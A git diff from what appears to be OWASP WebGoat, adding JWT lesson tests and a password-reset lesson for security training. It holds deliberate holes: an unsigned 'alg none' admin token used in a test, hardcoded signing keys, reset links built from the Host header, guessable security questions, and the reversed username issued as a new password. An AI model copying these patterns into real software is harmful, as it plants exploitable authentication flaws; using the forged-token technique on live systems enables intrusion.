io.jsonwebtoken.SignatureAlgorithm.*; +import static org.hamcrest.Matchers.is; +import static org.junit.Assert.*; +import static org.mockito.Mockito.when; +import static org.owasp.webgoat.plugin.JWTSecretKeyEndpoint.JWT_SECRET; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +@RunWith(SpringJUnit4ClassRunner.class) +public class JWTSecretKeyEndpointTest extends LessonTest { + + @Before + public void setup() { + JWT jwt = new JWT(); + when(webSession.getCurrentLesson()).thenReturn(jwt); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + private Claims createClaims(String username) { + Claims claims = Jwts.claims(); + claims.put("admin", "true"); + claims.put("user", "Tom"); + claims.setExpiration(Date.from(Instant.now().plus(Duration.ofDays(1)))); + claims.setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(1)))); + claims.setIssuer("iss"); + claims.setAudience("aud"); + claims.setSubject("sub"); + claims.put("username", username); + claims.put("Email", "webgoat@webgoat.io"); + claims.put("Role", new String[]{"user"}); + return claims; + } + + @Test + public void solveAssignment() throws Exception { + Claims claims = createClaims("WebGoat"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void solveAssignmentWithLowercase() throws Exception { + Claims claims = createClaims("webgoat"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void oneOfClaimIsMissingShouldNotSolveAssignment() throws Exception { + Claims claims = createClaims("WebGoat"); + claims.remove("aud"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-secret-claims-missing")))); + } + + @Test + public void incorrectUser() throws Exception { + Claims claims = createClaims("Tom"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-secret-incorrect-user", "default", "Tom")))); + } + + @Test + public void incorrectToken() throws Exception { + Claims claims = createClaims("Tom"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, "wrong_password").compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token")))); + } +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTVotesEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTVotesEndpointTest.java new file mode 100644 index 000000000..9c90c1678 --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTVotesEndpointTest.java @@ -0,0 +1,187 @@ +package org.owasp.webgoat.plugin; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwts; +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.http.MediaType; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.MvcResult; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import javax.servlet.http.Cookie; + +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.is; +import static org.mockito.Mockito.when; +import static org.owasp.webgoat.plugin.JWTVotesEndpoint.JWT_PASSWORD; +import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.cookie; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +@RunWith(SpringJUnit4ClassRunner.class) +public class JWTVotesEndpointTest extends LessonTest { + + @Before + public void setup() { + JWT jwt = new JWT(); + when(webSession.getCurrentLesson()).thenReturn(jwt); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + @Test + public void solveAssignment() throws Exception { + //Create new token and set alg to none and do not sign it + Claims claims = Jwts.claims(); + claims.put("admin", "true"); + claims.put("user", "Tom"); + String token = Jwts.builder().setClaims(claims).setHeaderParam("alg", "none").compact(); + + //Call the reset endpoint + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/reset") + .contentType(MediaType.APPLICATION_JSON) + .cookie(new Cookie("access_token", token))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void resetWithoutTokenShouldNotWork() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/reset") + .contentType(MediaType.APPLICATION_JSON)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token")))); + } + + @Test + public void guestShouldNotGetAToken() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login") + .contentType(MediaType.APPLICATION_JSON) + .param("user", "Guest")) + .andExpect(status().isUnauthorized()).andExpect(cookie().value("access_token", "")); + } + + @Test + public void tomShouldGetAToken() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login") + .contentType(MediaType.APPLICATION_JSON) + .param("user", "Tom")) + .andExpect(status().isOk()).andExpect(cookie().value("access_token", containsString("eyJhbGciOiJIUzUxMiJ9."))); + } + + @Test + public void guestShouldNotSeeNumberOfVotes() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(new Cookie("access_token", ""))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$[0].numberOfVotes").doesNotExist()) + .andExpect(jsonPath("$[0].votingAllowed").doesNotExist()) + .andExpect(jsonPath("$[0].average").doesNotExist()); + } + + @Test + public void tomShouldSeeNumberOfVotes() throws Exception { + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login") + .contentType(MediaType.APPLICATION_JSON) + .param("user", "Tom")) + .andExpect(status().isOk()).andReturn(); + + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(result.getResponse().getCookies()[0])) + .andExpect(status().isOk()) + .andExpect(jsonPath("$[0].numberOfVotes").exists()) + .andExpect(jsonPath("$[0].votingAllowed").exists()) + .andExpect(jsonPath("$[0].average").exists()); + } + + @Test + public void invalidTokenShouldSeeGuestView() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(new Cookie("access_token", "abcd.efgh.ijkl"))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$[0].numberOfVotes").doesNotExist()) + .andExpect(jsonPath("$[0].votingAllowed").doesNotExist()) + .andExpect(jsonPath("$[0].average").doesNotExist()); + } + + @Test + public void tomShouldBeAbleToVote() throws Exception { + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login") + .contentType(MediaType.APPLICATION_JSON) + .param("user", "Tom")) + .andExpect(status().isOk()).andReturn(); + Cookie cookie = result.getResponse().getCookie("access_token"); + + result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(cookie)) + .andExpect(status().isOk()).andDo(print()).andReturn(); + Object[] nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class); + int currentNumberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes"); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password") + .cookie(cookie)) + .andExpect(status().isAccepted()); + result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(cookie)) + .andExpect(status().isOk()).andReturn(); + nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class); + int numberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes"); + assertThat(numberOfVotes).isEqualTo(currentNumberOfVotes + 1); + } + + private Map findNodeByTitle(Object[] nodes, String title) { + for (Object n : nodes) { + Map node = (Map) n; + if (node.get("title").equals(title)) { + return node; + } + } + return null; + } + + @Test + public void guestShouldNotBeAbleToVote() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password") + .cookie(new Cookie("access_token", ""))) + .andExpect(status().isUnauthorized()); + } + + @Test + public void unknownUserWithValidTokenShouldNotBeAbleToVote() throws Exception { + Claims claims = Jwts.claims(); + claims.put("admin", "true"); + claims.put("user", "Intruder"); + String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password") + .cookie(new Cookie("access_token", token))) + .andExpect(status().isUnauthorized()); + } + + @Test + public void unknownUserShouldSeeGuestView() throws Exception { + Claims claims = Jwts.claims(); + claims.put("admin", "true"); + claims.put("user", "Intruder"); + String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact(); + + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/") + .cookie(new Cookie("access_token", token))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$[0].numberOfVotes").doesNotExist()) + .andExpect(jsonPath("$[0].votingAllowed").doesNotExist()) + .andExpect(jsonPath("$[0].average").doesNotExist()); + } + + +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java new file mode 100644 index 000000000..ab922217e --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java @@ -0,0 +1,56 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.base.Charsets; +import com.google.common.collect.Maps; +import io.jsonwebtoken.*; +import io.jsonwebtoken.impl.TextCodec; +import org.junit.Test; + +import java.time.Duration; +import java.time.Instant; +import java.time.LocalDateTime; +import java.time.Period; +import java.util.Date; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +public class TokenTest { + + @Test + public void test() { + String key = "qwertyqwerty1234"; + Map claims = Maps.newHashMap(); + claims.put("username", "Jerry"); + claims.put("aud", "webgoat.org"); + claims.put("email", "jerry@webgoat.com"); + String token = Jwts.builder() + .setHeaderParam("kid", "webgoat_key") + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key).compact(); + System.out.println(token); + Jwt jwt = Jwts.parser().setSigningKey("qwertyqwerty1234").parse(token); + jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter(){ + @Override + public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { + return TextCodec.BASE64.decode(key); + } + }).parse(token); + + } + + @Test + public void testRefresh() { + Instant now = Instant.now(); //current date + Claims claims = Jwts.claims().setIssuedAt(Date.from(now.minus(Duration.ofDays(10)))); + claims.setExpiration(Date.from(now.minus(Duration.ofDays(9)))); + claims.put("admin", "false"); + claims.put("user", "Tom"); + String token = Jwts.builder().setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, "bm5n3SkxCX4kKRy4") + .compact(); + //Jws jws = Jwts.parser().setSigningKey("bm5n3SkxCX4kKRy4").parseClaimsJws(token); + //Jwts.parser().setSigningKey().parsePlaintextJws(token); + System.out.println(token); + } +} diff --git a/webgoat-lessons/missing-function-ac/pom.xml b/webgoat-lessons/missing-function-ac/pom.xml index 71d667565..8b266b4c2 100644 --- a/webgoat-lessons/missing-function-ac/pom.xml +++ b/webgoat-lessons/missing-function-ac/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT diff --git a/webgoat-lessons/password-reset/pom.xml b/webgoat-lessons/password-reset/pom.xml new file mode 100644 index 000000000..5e78f3b0e --- /dev/null +++ b/webgoat-lessons/password-reset/pom.xml @@ -0,0 +1,21 @@ + + 4.0.0 + password-reset + jar + + org.owasp.webgoat.lesson + webgoat-lessons-parent + v8.0.0.SNAPSHOT + + + + + org.springframework.security + spring-security-test + 4.1.3.RELEASE + test + + + + diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java similarity index 57% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java rename to webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java index c13a6e4c8..d2e9ac6f7 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java @@ -1,25 +1,20 @@ -package org.owasp.webgoat.plugin.challenge9; +package org.owasp.webgoat.plugin; -import com.google.common.collect.Lists; import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.NewLesson; +import java.util.ArrayList; import java.util.List; -/** - * @author nbaars - * @since 3/21/17. - */ -public class Challenge9 extends NewLesson { - +public class PasswordReset extends NewLesson { @Override public Category getDefaultCategory() { - return Category.CHALLENGE; + return Category.AUTHENTICATION; } @Override public List getHints() { - return Lists.newArrayList(); + return new ArrayList(); } @Override @@ -29,11 +24,11 @@ public class Challenge9 extends NewLesson { @Override public String getTitle() { - return "challenge9.title"; + return "password-reset.title"; } @Override public String getId() { - return "Challenge9"; + return "PasswordReset"; } } diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordResetEmail.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordResetEmail.java new file mode 100644 index 000000000..deec7e5f8 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordResetEmail.java @@ -0,0 +1,18 @@ +package org.owasp.webgoat.plugin; + +import lombok.Builder; +import lombok.Data; + +import java.io.Serializable; +import java.time.LocalDateTime; + +@Builder +@Data +public class PasswordResetEmail implements Serializable { + + private LocalDateTime time; + private String contents; + private String sender; + private String title; + private String recipient; +} \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/QuestionsAssignment.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/QuestionsAssignment.java new file mode 100644 index 000000000..f6c97ba89 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/QuestionsAssignment.java @@ -0,0 +1,55 @@ +package org.owasp.webgoat.plugin; + +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.plugin.PasswordResetEmail; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +import java.time.LocalDateTime; +import java.util.HashMap; +import java.util.Map; + +/** + * @author nbaars + * @since 8/20/17. + */ +@AssignmentPath("/PasswordReset/questions") +public class QuestionsAssignment extends AssignmentEndpoint { + + private final static Map COLORS = new HashMap<>(); + + static { + COLORS.put("admin", "green"); + COLORS.put("jerry", "orange"); + COLORS.put("tom", "purple"); + COLORS.put("larry", "yellow"); + COLORS.put("webgoat", "red"); + } + + @PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) + @ResponseBody + public AttackResult passwordReset(@RequestParam Map json) { + String securityQuestion = (String) json.getOrDefault("securityQuestion", ""); + String username = (String) json.getOrDefault("username", ""); + + if ("webgoat".equalsIgnoreCase(username.toLowerCase())) { + return trackProgress(failed().feedback("password-questions-wrong-user").build()); + } + + String validAnswer = COLORS.get(username.toLowerCase()); + if (validAnswer == null) { + return trackProgress(failed().feedback("password-questions-unknown-user").feedbackArgs(username).build()); + } else if (validAnswer.equals(securityQuestion)) { + return trackProgress(success().build()); + } + return trackProgress(failed().build()); + } +} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/ResetLinkAssignment.java similarity index 65% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java rename to webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/ResetLinkAssignment.java index 0ef786bf8..39254d783 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/ResetLinkAssignment.java @@ -1,22 +1,18 @@ -package org.owasp.webgoat.plugin.challenge9; +package org.owasp.webgoat.plugin; -import com.beust.jcommander.internal.Lists; -import com.beust.jcommander.internal.Maps; import com.google.common.collect.EvictingQueue; -import lombok.extern.slf4j.Slf4j; +import com.google.common.collect.Maps; import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.plugin.Email; -import org.owasp.webgoat.users.UserRepository; -import org.owasp.webgoat.users.WebGoatUser; -import org.springframework.beans.factory.annotation.Autowired; +import org.owasp.webgoat.plugin.PasswordResetEmail; +import org.owasp.webgoat.plugin.resetlink.PasswordChangeForm; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.HttpEntity; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpMethod; import org.springframework.ui.Model; -import org.springframework.util.StringUtils; import org.springframework.validation.BindingResult; import org.springframework.web.bind.annotation.*; import org.springframework.web.client.RestTemplate; @@ -26,25 +22,24 @@ import java.time.LocalDateTime; import java.util.Map; import java.util.UUID; -import static org.owasp.webgoat.plugin.Flag.FLAGS; -import static org.owasp.webgoat.plugin.SolutionConstants.PASSWORD_TOM_9; -import static org.owasp.webgoat.plugin.SolutionConstants.TOM_EMAIL; import static org.springframework.web.bind.annotation.RequestMethod.POST; /** * @author nbaars - * @since 4/8/17. + * @since 8/20/17. */ -@AssignmentPath("/challenge/9") -@Slf4j -public class Assignment9 extends AssignmentEndpoint { +@AssignmentPath("/PasswordReset/reset") +@AssignmentHints({"password-reset-hint1", "password-reset-hint2", "password-reset-hint3", "password-reset-hint4", "password-reset-hint5"}) +public class ResetLinkAssignment extends AssignmentEndpoint { + private static final String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom"; + private static final String TOM_EMAIL = "tom@webgoat-cloud.org"; private static Map userToTomResetLink = Maps.newHashMap(); private static Map usersToTomPassword = Maps.newHashMap(); private static EvictingQueue resetLinks = EvictingQueue.create(1000); private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " + - "link to reset your password." + + "link to reset your password." + "\n \n\n" + "If you did not request this password change you can ignore this message." + "\n" + @@ -52,12 +47,13 @@ public class Assignment9 extends AssignmentEndpoint { "\n\n" + "Kind regards, \nTeam WebGoat"; - @Autowired - private RestTemplate restTemplate; - @Autowired - private UserRepository userRepository; - @Value("${webwolf.url}") - private String webWolfURL; + private final RestTemplate restTemplate; + private final String webWolfMailURL; + + public ResetLinkAssignment(RestTemplate restTemplate, @Value("${webwolf.url.mail}") String webWolfMailURL) { + this.restTemplate = restTemplate; + this.webWolfMailURL = webWolfMailURL; + } @RequestMapping(method = POST, value = "/create-password-reset-link") @ResponseBody @@ -65,10 +61,10 @@ public class Assignment9 extends AssignmentEndpoint { String resetLink = UUID.randomUUID().toString(); resetLinks.add(resetLink); String host = request.getHeader("host"); - if (StringUtils.hasText(email)) { - if (email.equals(TOM_EMAIL) && host.contains("8081")) { //User indeed changed the host header. + if (org.springframework.util.StringUtils.hasText(email)) { + if (email.equals(TOM_EMAIL) && host.contains("9090")) { //User indeed changed the host header. userToTomResetLink.put(getWebSession().getUserName(), resetLink); - fakeClickingLinkEmail(cookie, host, resetLink); + fakeClickingLinkEmail(host, resetLink); } else { sendMailToUser(email, host, resetLink); } @@ -77,18 +73,15 @@ public class Assignment9 extends AssignmentEndpoint { } private void sendMailToUser(@RequestParam String email, String host, String resetLink) { - String username; - WebGoatUser webGoatUser = userRepository.findByUsername(email.substring(0, email.indexOf("@"))); - if (webGoatUser != null) { - username = webGoatUser.getUsername(); - Email mail = Email.builder() - .title("Your password reset link for challenge 9") - .contents(String.format(TEMPLATE, host, resetLink)) - .sender("password-reset@webgoat-cloud.net") - .recipient(username) - .time(LocalDateTime.now()).build(); - restTemplate.postForEntity(webWolfURL + "/WebWolf/mail", mail, Object.class); - } + int index = email.indexOf("@"); + String username = email.substring(0, index == -1 ? email.length() : index); + PasswordResetEmail mail = PasswordResetEmail.builder() + .title("Your password reset link") + .contents(String.format(TEMPLATE, host, resetLink)) + .sender("password-reset@webgoat-cloud.net") + .recipient(username) + .time(LocalDateTime.now()).build(); + restTemplate.postForEntity(webWolfMailURL, mail, Object.class); } /** @@ -96,13 +89,11 @@ public class Assignment9 extends AssignmentEndpoint { * which user we need to trace the incoming request. In normal situation this HOST will be in your * full control so every incoming request would be valid. */ - private void fakeClickingLinkEmail(String cookie, String host, String resetLink) { + private void fakeClickingLinkEmail(String host, String resetLink) { try { - HttpHeaders httpHeaders = new HttpHeaders(); - httpHeaders.put(HttpHeaders.COOKIE, Lists.newArrayList("JSESSIONID=" + cookie)); HttpEntity httpEntity = new HttpEntity(httpHeaders); - new RestTemplate().exchange(String.format("http://%s/challenge/9/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class); + new RestTemplate().exchange(String.format("http://%s/PasswordReset/reset/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class); } catch (Exception e) { //don't care } @@ -114,12 +105,12 @@ public class Assignment9 extends AssignmentEndpoint { if (TOM_EMAIL.equals(email)) { String passwordTom = usersToTomPassword.getOrDefault(getWebSession().getUserName(), PASSWORD_TOM_9); if (passwordTom.equals(PASSWORD_TOM_9)) { - return failed().feedback("login_failed").build(); + return trackProgress(failed().feedback("login_failed").build()); } else if (passwordTom.equals(password)) { - return success().feedback("challenge.solved").feedbackArgs(FLAGS.get(9)).build(); + return trackProgress(success().build()); } } - return failed().feedback("login_failed.tom").build(); + return trackProgress(failed().feedback("login_failed.tom").build()); } @GetMapping("/reset-password/{link}") @@ -134,10 +125,9 @@ public class Assignment9 extends AssignmentEndpoint { } } - @PostMapping("/change-password") public String changePassword(@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) { - if (!StringUtils.hasText(form.getPassword())) { + if (!org.springframework.util.StringUtils.hasText(form.getPassword())) { bindingResult.rejectValue("password", "not.empty"); } if (bindingResult.hasErrors()) { @@ -156,6 +146,4 @@ public class Assignment9 extends AssignmentEndpoint { String resetLink = userToTomResetLink.getOrDefault(getWebSession().getUserName(), "unknown"); return resetLink.equals(resetLinkFromForm); } - } - diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/SimpleMailAssignment.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/SimpleMailAssignment.java new file mode 100644 index 000000000..bcd821743 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/SimpleMailAssignment.java @@ -0,0 +1,83 @@ +package org.owasp.webgoat.plugin; + +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.plugin.PasswordResetEmail; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +import java.time.LocalDateTime; +import java.util.Map; +import java.util.Optional; + +import static java.util.Optional.ofNullable; + +/** + * @author nbaars + * @since 8/20/17. + */ +@AssignmentPath("/PasswordReset/simple-mail") + +public class SimpleMailAssignment extends AssignmentEndpoint { + + private final String webWolfURL; + private RestTemplate restTemplate; + + public SimpleMailAssignment(RestTemplate restTemplate, @Value("${webwolf.url.mail}") String webWolfURL) { + this.restTemplate = restTemplate; + this.webWolfURL = webWolfURL; + } + + @PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) + @ResponseBody + public AttackResult sendEmail(@RequestParam Map json) { + String email = (String) json.get("emailReset"); + if (StringUtils.isEmpty(email)) { + email = (String) json.getOrDefault("email", "unknown@webgoat.org"); + } + String password = (String) json.getOrDefault("password", ""); + int index = email.indexOf("@"); + String username = email.substring(0, index == -1 ? email.length() : index); + + if (StringUtils.isEmpty(password)) { + return sendEmail(username, email); + } else { + return checkPassword(password, username); + } + } + + private AttackResult checkPassword(String password, String username) { + if (username.equals(getWebSession().getUserName()) && StringUtils.reverse(username).equals(password)) { + return trackProgress(success().build()); + } else { + return trackProgress(failed().feedbackArgs("password-reset-simple.password_incorrect").build()); + } + } + + private AttackResult sendEmail(String username, String email) { + if (username.equals(getWebSession().getUserName())) { + PasswordResetEmail mailEvent = PasswordResetEmail.builder() + .recipient(username) + .title("Simple e-mail assignment") + .time(LocalDateTime.now()) + .contents("Thanks your resetting your password, your new password is: " + StringUtils.reverse(username)) + .sender("webgoat@owasp.org") + .build(); + try { + restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); + } catch (RestClientException e) { + return informationMessage().feedback("password-reset-simple.email_failed").output(e.getMessage()).build(); + } + return informationMessage().feedback("password-reset-simple.email_send").feedbackArgs(email).build(); + } else { + return informationMessage().feedback("password-reset-simple.email_mismatch").feedbackArgs(username).build(); + } + } +} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/PasswordChangeForm.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/PasswordChangeForm.java similarity index 88% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/PasswordChangeForm.java rename to webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/PasswordChangeForm.java index bfe2d3625..3c1afccd7 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/PasswordChangeForm.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/PasswordChangeForm.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.plugin.challenge9; +package org.owasp.webgoat.plugin.resetlink; import lombok.Getter; import lombok.Setter; diff --git a/webgoat-lessons/password-reset/src/main/resources/css/password.css b/webgoat-lessons/password-reset/src/main/resources/css/password.css new file mode 100644 index 000000000..e69de29bb diff --git a/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html b/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html new file mode 100644 index 000000000..708c4c07f --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html @@ -0,0 +1,227 @@ + + + + +
    +
    +
    +
    +
    + + + + +
    + +
    +
    +
    + +
    +
    +
    +

    Account + Access

    +
    +
    + @ + +
    +
    + + +
    +
    + +

    + + Forgot your password? + +

    +
    +
    + +
    + +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    + + + + +
    +
    +
    +
    +
    +
    + Sign up + Login +

    WebGoat Password Recovery

    + +
    + + +
    +
    + + +
    +
    + +
    + +
    +
    +
    + + +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    + +
    +
    +
    +
    +

    + + Account Access +

    +
    + +
    +
    + @ + +
    +
    + + + + + +
    +
    + +

    + + Forgot your password? + +

    +
    +
    + +
    + +
    +
    +
    + + +
    +
    +
    +
    +
